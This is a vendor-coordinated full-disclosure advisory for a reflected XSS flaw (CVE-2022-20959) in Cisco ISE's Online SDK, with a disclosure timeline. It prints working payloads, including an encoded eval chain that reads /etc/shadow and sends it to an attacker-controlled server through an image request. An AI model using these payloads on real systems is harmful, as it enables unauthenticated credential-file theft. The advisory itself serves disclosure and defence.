Hamburger Menu Icon
Yoroi Background

CVE Advisory - Full Disclosure Cisco ISE Cross Site Scripting


In July 2022 the Yoroi advisory team, in the context of its internal project Saguri, started analysing the Cisco Identity Service Engine (ver.
Cisco ISE is a network management tool which allows definition and implementation of security and management policies, which enable precise controls over who can access the network, what they have access to, when and how they can do it.
ISE therefore not only guarantees software-defined access and automates network segmentation within IT and OT environments, but also provides a means of visibility into the 'state' of the network.


Vulnerabilities - CVE-2022-20959 – Cross Site Scripting – CWE 79

CVE-2022-20959 - Reflected Cross-Site Scripting - CWE 79
Cisco Identity Services Engine 3.1 - 3/1P1-P4, 3.2 6.1 Medium
A03 - Injection WSTG-INPV-02
No Special Configuration is required to reproduce the issue


The cisco-ise-api-framework is vulnerable to Reflected Cross Site Scripting vulnerability via the URL id parameter; if exploited, this vulnerability allows an unauthorized user to inject arbitrary JavaScript or HTML code in the victim's browser. Furthermore, this vulnerability can be exploited to remotely and without authentication exploit other flaws found within Cisco ISE.

OWASP Category

A03 – Injection – Cross Site Scripting, or also known as XSS, occurs when an application receives data in an http request and includes it in the response in an unsafe manner, thus allowing clients to inject script and/or HTML code into a request and causing the server to return the script and/or HTML in the response.

This happens because the application is taking untrusted data (in this case, from the client) and reusing it without performing any validation or sanitization.

If the injected script is returned immediately and not stored permanently within the response, this is known as reflected XSS. The following are examples of what an attacker can achieve by exploiting a reflected XSS:
Perform any action within the application that the user can perform; display any information that the user is able to view; modify any information that the user can modify; initiate interactions with other users of the application, which will appear to come from the initial victim user.

Proof of Concept

Technical Description

As per the official documentation:
“Online SDK is an application programming reference that explains the operations, parameters, responses of the ISE ERS API. ERS is designed to allow external clients to perform CRUD (Create, Read, Update, Delete) operations on ISE resources, ERS is based on the HTTP protocol and REST methodology.”

Figure 1 Online SDK GUI interface

The reflected cross-site scripting affects the following 2 endpoints exposed by the Online SDK:


In detail, these endpoints accept user-controllable input via the id parameter, which is then reflected, without sufficient sanitization, inside the web server's response.
It is worth noting that, in order to exploit the vulnerability, the JavaScript payload must be preceded by a percentage character: for example:
%<script>alert(origin)</script>, so: %25%3Cscript%3Ealert(origin)%3C%2Fscript%3E
failing to do so will result in a 400 - Bad Request response.
Following is the evidence of the vulnerability being exploited to execute the alert(origin) JavaScript code.


Figure 2 Payload injection in developer_usecases endpoint
Figure 3 JavaScript code executed in developer_usecases.jsp page


Figure 4 Payload injection in developer_usecases_python.jsp endpoint
Figure 5 JavaScript code executed in developer_usecases_python.jsp


The impact of Cross-site Scripting varies greatly by the application that is affected, typically the attacker who is able to obtain arbitrary execution of JavaScript code in the context of the victim's browser is potentially able to perform any operation that the user is capable of performing; cross-site scripting then also becomes an excellent entry point for being able to concate-nate additional vulnerabilities, exploiting them even in an unauthenticated manner.

This brief scenario shows how files (on the filesystem) can be recovered remotely by exploiting the Reflected Cross Site Scripting vulnerability; by sending a payload like the following:'bGV0IHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7CiAgICBpZiAoeGhyLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSkgewogICAgICAgIHZhciBpPW5ldyBJbWFnZTsKICAgICAgICBpLn-NyYz0iaHR0cDovL2xvY2FsaG9zdDo4MDgxLz8iICsgeGhyLnJlc3BvbnNlVGV4dDsKICAgIH0KfQp4aHIub3BlbigiR0VUIiwgImh0dHBzOi8vMTkyLjE2OC4xNDAuMTI2L2FkbWluL3JzL3VpYXBpL2Rpc2ttbmdtbnQvZmlsZWRvd25sb2FkP2ZpbGVwYXRoPS9ldGMvc2hhZG93Iik7Cnhoci5zZW5kKCk7'));%3c%2fscript%3e

a response is received which contains the file requested to the remote web server.
In detail, in order to avoid incurring into 400 - Bad Request responses, the payload must be encoded in base64 and passed to the atob function, all of which is inserted into an eval.
The plain text payload is:

let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var i=new Image;
i.src="http://localhost:8081/?" + xhr.responseText;

In short, two requests are made to the client:

  1. First, a request is made to the vulnerable endpoint, passing the path of the file to be retrieved (in this example: /etc/shadow). xhr.open("GET","");
  2. Then, a request to an attacker controlled web server is triggered by creating a a new HTMLImageElement instance, and setting its src attribute to the target URL: the request received by the attacker will contain the content of the re-sponse received in step 1 (in this example: /etc/shadow), appended as a parameter.
    var i=new Image;
    i.src="http://remote.attackers.webserver/?" + xhr.responseText;


For instructions on upgrading your device, see the Upgrade Guides located on the Cisco Identity Service Engine support page.


July 2022: Discovered by Davide Virruso of Yoroi.
August 3, 2022: Reported via email to Cisco Product Security Incident Response Team, issue assigned case number PSIRT-0255661654.
August 3, 2022: Cisco assigned the Incident Manager to the case, the issue id is CSCwc62413.
August 9, 2022: Together with Cisco, it was decided to increase the disclosure timeframe by 15 days.
August 11, 2022: Yoroi followed up, asking for progress.
August 12, 2022: Cisco IM provided a comprehensive update on the status of the issue.
September 8, 2022: Cisco IM provides a complete detail on the issue reporting vector, score and sir advisory with fixing dates.
September 19, 2022: Cisco IM starts preparing the advisory by asking for publication details.
September 29, 2022: coordinated disclosure was agreed with the IM for 19 October.
October 7, 2022: Cisco provides the CVE ID.
October 19, 2022: Cisco publishes its advisory.
October 25, 2022: Yoroi publishes its partial advisory.
April 5, 2023: Yoroi publishes its full advisory; following the release of all patches.


linkedin facebook pinterest youtube rss twitter instagram facebook-blank rss-blank linkedin-blank pinterest youtube twitter instagram